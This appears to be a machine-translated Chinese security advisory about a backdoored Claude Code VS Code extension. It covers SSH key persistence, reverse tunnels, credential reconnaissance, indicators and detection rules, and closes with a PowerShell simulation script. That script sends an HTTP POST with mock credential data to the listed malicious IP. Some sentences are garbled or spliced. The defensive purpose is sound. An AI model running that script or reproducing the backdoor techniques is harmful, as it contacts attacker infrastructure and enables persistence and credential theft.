SOC Prime Bias: Critical

03 Nov 2026 14:10 UTC

Claude 代码扩展妥协:安全公告

Author Photo
SOC Prime Team linkedin icon 关注
Claude 代码扩展妥协:安全公告
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

摘要

在Cursor Marketplace上发现了官方Claude Code for VS Code扩展版本2.1.313的一个后门版本。该恶意软件通过修改在macOS、Linux和Windows上建立一个持久的SSH后门 authorized_keys 并创建反向SSH隧道。它还进行主机侦察以发现敏感的环境变量和可能暴露的凭证。

调查

Phorion识别出在缩小的扩展包中注入了一个IIFE,该函数在扩展加载时立即执行。调查显示,恶意软件尝试启用SSH服务,并使用特定的Ed25519密钥进行受害者认证和反向隧道建立。研究人员还发现macOS和Windows逻辑中的实施缺陷,可能限制其在没有现有权限的情况下启用服务的能力。

缓解措施

组织应立即识别并移除Claude Code for VS Code扩展版本2.1.313。在macOS上,用户应卸载并删除 com.apple.sysmond.plist LaunchAgent。安全团队还应检查SSH配置并从受影响的 文件中移除svc-telemetry 公钥。 authorized_keys 文件。

响应

当检测到妥协时,终止主动隧道进程,包括分离的shell重试循环和 ssh or 连接到 的autossh 134.209.82.225的进程。移除持久性工件,包括cron条目、计划任务和存储在.config .config 目录中的隐藏脚本。关键是,旋转通过环境变量在受影响主机上暴露的所有凭证和API令牌。

攻击流程

我们仍在更新这一部分。

检测

尝试可能的IP查找域通信(通过dns)

SOC Prime团队
2026年11月2日

在自动启动位置发现可疑二进制文件/脚本(通过file_event)

SOC Prime团队
2026年10月30日

通过HTTP对直接IP进行不常见端口的可能C2通信(通过代理)

SOC Prime团队
2026年10月30日

在Linux主机上创建了隐藏文件(通过file_event)

SOC Prime团队
2026年10月30日

检测IOC(HashSha256):官方Claude Code扩展妥协:安全建议

SOC Prime AI规则
2026年10月30日

检测IOC(SourceIP):官方Claude Code扩展妥协:安全建议

SOC Prime AI规则
2026年10月30日

检测IOC(DestinationIP):官方Claude Code扩展妥协:安全建议

SOC Prime AI规则
2026年10月30日

检测到对已知恶意IP地址的可疑SSH活动[Windows网络连接]

SOC Prime AI规则
2026年10月30日

在macOS的Claude Code VS Code扩展中检测到后门[Linux文件事件]

SOC Prime AI规则
2026年10月30日

模拟执行

  • 攻击叙述与命令: 攻击者在获得初始访问后,目标是建立一个持久的C2隧道。他们发起SSH连接到 134.209.82.225的进程。移除持久性工件,包括cron条目、计划任务和存储在 上的端口 22 以创建用于横向移动的安全隧道。紧接着,恶意代理执行一个HTTP POST请求到 http://134.209.82.225:8099 ,其中包含编码的系统信息。这种SSH加HTTP POST到同一IP的特定序列旨在触发规则的 条件:selection_ssh和selection_http.

  • 回归测试脚本:

    # 模拟脚本:触发可疑的SSH和HTTP POST活动
    $TargetIP = "134.209.82.225"
    $SSHPort = 22
    $HTTPPort = 8099
    
    Write-Host "[+] 开始模拟..." -ForegroundColor Cyan
    
    # 步骤1:模拟SSH连接(使用Test-NetConnection生成Sysmon ID 3)
    Write-Host "[+] 步骤1:模拟到$TargetIP的SSH出站连接,在端口$SSHPort上"
    Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
    
    # 步骤2:模拟HTTP POST请求(使用Invoke-WebRequest)
    Write-Host "[+] 步骤2:模拟HTTP POST到$TargetIP的信标,在端口$HTTPPort上"
    try {
        # 我们使用短超时来防止脚本在IP无法访问时挂起
        $payload = @{ data = "simulated_credential_harvesting_data" }
        Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
    } catch {
        Write-Host "[!] HTTP请求失败(如果IP处于离线状态则为预期),但应生成遥测数据。" -ForegroundColor Yellow
    }
    
    Write-Host "[+] 模拟命令已执行。" -ForegroundColor Green
  • 清理命令:

    # 在此模拟期间未对系统进行持久更改。
    # 未创建任何文件,也未实际安装任何服务。
    Write-Host "[+] 清理完成。没有需要移除的文档。" -ForegroundColor Green